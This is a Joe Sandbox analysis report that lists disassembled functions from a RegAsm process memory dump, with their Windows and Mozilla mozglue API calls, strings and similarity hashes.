Instruction Fuzzy Hash: F951BC71A09750AFD711DF25CA44A5EBBF4FF89718F00892EF59887640D774AA088B92

Function 6C70DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70DE73
GetCurrentThreadId.KERNEL32 ref: 6C70DF7D
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70DF8A
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70DFC9
GetCurrentThreadId.KERNEL32 ref: 6C70DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6D4A68), ref: 6C70DE7B

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6D4A68), ref: 6C70DEB8
free.MOZGLUE(00000000,?,6C6D4A68), ref: 6C70DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C70DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C70DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C70E00E
<none>, xrefs: 6C70DFD7

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 385e83b13a173e6f72251648ba785834e1820427cab343ff9893d7ad8f9e8096
Instruction ID: 9ec4270be59c37a0b758861dd5a2e9c6594712f47fb42a868a4e0b4d83b738f5
Opcode Fuzzy Hash: 385e83b13a173e6f72251648ba785834e1820427cab343ff9893d7ad8f9e8096
Instruction Fuzzy Hash: BD4109B17016109BDB10AF69D908BAE77B5EF9631CF048037E93587B01CB70A805CBE9

Function 6C71D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D918
GetCurrentThreadId.KERNEL32 ref: 6C71D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D970
GetCurrentThreadId.KERNEL32 ref: 6C71D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C71DA2E
GetCurrentThreadId.KERNEL32 ref: 6C71DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C71DA91

Part of subcall function 6C6E5C50: GetTickCount64.KERNEL32 ref: 6C6E5D40
Part of subcall function 6C6E5C50: EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71DAB7

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: d66b34990fe97c654536815a8e8713f26e001d2b13eef5abdb5cc64ce8725bb0
Instruction ID: a3bd0fe96158c45040908a0cbcf4b337e30eac01e029439cb16a685592c9e0c2
Opcode Fuzzy Hash: d66b34990fe97c654536815a8e8713f26e001d2b13eef5abdb5cc64ce8725bb0
Instruction Fuzzy Hash: 35718C756043049FCB00DF29C488A9EBBF5FF89318F19857AE85A9B741DB30A944CF95

Function 6C71D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D52A
GetCurrentThreadId.KERNEL32 ref: 6C71D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D55F
free.MOZGLUE(00000000), ref: 6C71D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C71D5D3
GetCurrentThreadId.KERNEL32 ref: 6C71D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D652
GetCurrentThreadId.KERNEL32 ref: 6C71D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C71D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C71D6A2

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 036847fc991d029ee78dac5014e893516ddf79ef205920a6ff4a31580a4eb68e
Instruction ID: ed743a9d3aa71a2f54acf286d465d6fdb9adbd0d137bec5ba67b7ad28e5c64d7
Opcode Fuzzy Hash: 036847fc991d029ee78dac5014e893516ddf79ef205920a6ff4a31580a4eb68e
Instruction Fuzzy Hash: 4A516B71608B05DFC704DF35C488A9ABBB4FF89358F10862EE95A87B11DB30B945CB95

Function 6C6C1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6C1EC1
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6C1EE1
EnterCriticalSection.KERNEL32(6C74E744), ref: 6C6C1F38
LeaveCriticalSection.KERNEL32(6C74E744), ref: 6C6C1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C6C1F83
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6C1FC0
EnterCriticalSection.KERNEL32(6C74E784), ref: 6C6C1FE2
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6C1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6C2019

Strings

MOZ_CRASH(), xrefs: 6C6C2000
Dtl, xrefs: 6C6C1F56
Dtl, xrefs: 6C6C1F32
\tl, xrefs: 6C6C1F3E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dtl$Dtl$MOZ_CRASH()$\tl
API String ID: 2055633661-3369011757
Opcode ID: aac9c0c255ef872f0fb9210f0180a7a1ed8a1bdefdba3fdcea91ead9d4cc62a6
Instruction ID: 1c57c27373eb5abb3ccbbab006c56787c9a9ceefc515204ab0bff7d77f3e677e
Opcode Fuzzy Hash: aac9c0c255ef872f0fb9210f0180a7a1ed8a1bdefdba3fdcea91ead9d4cc62a6
Instruction Fuzzy Hash: C141D375B043198BDB01EF78C888BAE7AB5EB4A36CF008136E92597741D77098048BDA

Function 6C6E5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6E56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6E56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6E56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C6E5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6E57BC
GetTickCount64.KERNEL32 ref: 6C6E58CB
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6E58F3
__aulldiv.LIBCMT ref: 6C6E5945
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6E59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C74F638,?,?,?,?), ref: 6C6E59E9

Strings

MOZ_APP_RESTART, xrefs: 6C6E56CC

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: bf5fe81da4ac9328b0c1990d27f88234a2b11cbdc5679bdacd30c5a3d2970416
Instruction ID: 7c5ef53c19e88c689e8a266a4bd1ef59d8ffb1614a7f17b8dd0a82900e5908c4
Opcode Fuzzy Hash: bf5fe81da4ac9328b0c1990d27f88234a2b11cbdc5679bdacd30c5a3d2970416
Instruction Fuzzy Hash: 6BC16E31A0D7909FD705DF28C44066AB7F1BFDA718F15CA2EE8C497661D730A885CB86

Function 6C70EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70EC8C

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70ECA1
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C70ECC5
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C70ED19
CloseHandle.KERNEL32(?), ref: 6C70ED28
free.MOZGLUE(00000000), ref: 6C70ED2F
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C70EC94

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: f00c97e8907704670805d45a7887885aae5b20e7800d1081527216a1d5dea891
Instruction ID: bd9597307a97e456805fa6d432688136a59072f5944d90b758402495094f08b5
Opcode Fuzzy Hash: f00c97e8907704670805d45a7887885aae5b20e7800d1081527216a1d5dea891
Instruction Fuzzy Hash: 0F21F9B57005189BDF00AF68D909EAA77B9EF8636CF108232FC2857741DB31AC05CBA5

Function 6C725FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C726009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C726024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qll,?), ref: 6C726046
OutputDebugStringA.KERNEL32(?,Qll,?), ref: 6C726061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C726069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C726073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C726082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C74148E), ref: 6C726091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qll,00000000,?), ref: 6C7260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C7260C4

Strings

Qll, xrefs: 6C725FFC, 6C726042, 6C726045, 6C7260B3

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qll
API String ID: 3835517998-3645837480
Opcode ID: 0cbae3132ad83a16c64c5f0780f7261416b2ec308f1e46155a70be2c4aac9f58
Instruction ID: 345247eab794ba21ebb6cd866fc9695f7a50e6e5cdcb6b08ca618d46333d0407
Opcode Fuzzy Hash: 0cbae3132ad83a16c64c5f0780f7261416b2ec308f1e46155a70be2c4aac9f58
Instruction Fuzzy Hash: AD21A371A002189FDB206F24DC09AAE7BB8FF45218F00C43AE85A97641DB75AA59CFD5

Function 6C708ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C6CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C70B392,?,?,00000001), ref: 6C7091F4

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Strings

stack-chart, xrefs: 6C7090B2
data, xrefs: 6C7090E8
timeline-ipc, xrefs: 6C709096
marker-chart, xrefs: 6C70905E
marker-table, xrefs: 6C70906C
name, xrefs: 6C708F16
timeline-overview, xrefs: 6C70907A
timeline-fileio, xrefs: 6C7090A4
timeline-memory, xrefs: 6C709088

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: dd2870b5e692835c3f67338620ee1e9cd91cf0529d5b081b5bd7e0c92da64285
Instruction ID: b770194d89491931d3c1e719a00e4aa25656100ba99146c278ec9577f4e29249
Opcode Fuzzy Hash: dd2870b5e692835c3f67338620ee1e9cd91cf0529d5b081b5bd7e0c92da64285
Instruction Fuzzy Hash: C4B1C1B0B012099BDB04CFA4CA567EEBBB6EF95318F108029D405ABF81D771E945CBD5

Function 6C6EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C6EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C6ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ECAA5

Strings

0, xrefs: 6C6ED30A
(null), xrefs: 6C6EC596

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: ab20a03f8345a0b584e37b351d5155c6e2858e7d4914b854f72fe0141d46a829
Instruction ID: 2b18056ce524f9fc3b5a4cb4e81fbd4fc2ea4408c0642f9e9974291a89270d58
Opcode Fuzzy Hash: ab20a03f8345a0b584e37b351d5155c6e2858e7d4914b854f72fe0141d46a829
Instruction Fuzzy Hash: 29A18D3060E341AFDB10EF28C55475BBBE1BFCA748F04892EE99A97641D731D809CB96

Function 6C6C48E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C70483A,?), ref: 6C6C4AE0
moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4A82

Part of subcall function 6C6DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C6DCAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C70483A,?), ref: 6C6C4A97
moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4A35

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6C70483A,?), ref: 6C6C4A4A
moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4AF4
moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4B10
moz_xmalloc.MOZGLUE(?,?,6C70483A,?), ref: 6C6C4B2C

Strings

:Hpl, xrefs: 6C6C48EB, 6C6C49FB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :Hpl
API String ID: 4251373892-2875215652
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 58cb4c0a4a0a08bb7b37d0dd3a526cf656570b624e11f69bc60b312216d64fc4
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: DD7147B1A006069FCB54CF68C480ABAB7F5FF09308B10467EE15A9BB41E771F655CB85

Function 6C6EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C6EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6EC891

Strings

INF, xrefs: 6C6EC794
NAN, xrefs: 6C6EC7AD
inf, xrefs: 6C6EC78F
nan, xrefs: 6C6EC7A8

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b8bd7569a96bf17ff5deb9ba011d39e644ca89a5cf89e57734a29520ccbaa2d5
Instruction ID: 139688366a6d978f4b2f3170f3c5e0da4dad785cdd4ac947a598269fd761c3ce
Opcode Fuzzy Hash: b8bd7569a96bf17ff5deb9ba011d39e644ca89a5cf89e57734a29520ccbaa2d5
Instruction Fuzzy Hash: 34517070A0D7409BD704AF68C58169BFBF0BF9E309F008A2EE9D597650E770D9898B47

Function 6C6C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C6C350E
__Init_thread_footer.LIBCMT ref: 6C6C3522
__aulldiv.LIBCMT ref: 6C6C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6C3592

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

Strings

kernel32.dll, xrefs: 6C6C34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C6C3508

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

